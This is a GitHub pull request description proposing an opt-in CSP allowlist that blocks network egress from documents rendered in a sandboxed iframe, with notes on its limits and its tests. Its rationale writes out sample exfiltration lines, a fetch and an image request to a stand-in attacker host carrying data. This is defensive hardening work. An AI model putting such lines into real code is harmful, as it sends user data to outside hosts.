Opt-in CSP egress allowlist for rendered documents#2
Open
Fyko wants to merge 1 commit into
Open
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What
Adds an opt-in
DOC_CSP_ALLOWED_ORIGINSenv var. When set, the worker injects a<meta http-equiv="Content-Security-Policy">into each rendered document at serve time that locks the document's network egress to inline/data resources plus an explicit allowlist of origins.DOC_CSP_ALLOWED_ORIGINS="https://fonts.example.com https://cdn.example.com"→ those origins are allowed, everything else (fetch/img/form to other hosts) is blockedDOC_CSP_ALLOWED_ORIGINS="none"→ full lockdown, zero external egressWhy
Documents already render in a
sandbox="allow-scripts"iframe, so they can't read cookies or reach the first-party origin — good. But the sandbox doesn't restrict outbound network, so a hostile (or compromised) document can stillfetch("//attacker.com")ornew Image().src = "//attacker.com/?" + dataand exfiltrate whatever it can read. For anyone hosting sensitive content behind Access, that's the remaining gap.There's no HTTP-header path to fix this: the shell renders documents via
iframe.srcdoc, andsrcdoconly honors a CSP delivered as a<meta http-equiv>inside the document. So the policy has to be injected into the document body, which is what this does — only on the viewer/d/:id/contentpath, leaving the download endpoint untouched.Honest scope
This is a best-effort egress control, not a guarantee. It closes the obvious channels (
connect-src,img-src,form-action) but not covert ones (timing side-channels, etc.). It's also why it's opt-in and allowlist-driven rather than on by default — any document that legitimately loads an external font/image/script will need its origin allowlisted.Tests
Pure-function unit tests for parsing, CSP construction, and meta injection (head present / head absent / bare fragment).
57 passedlocally, typecheck clean.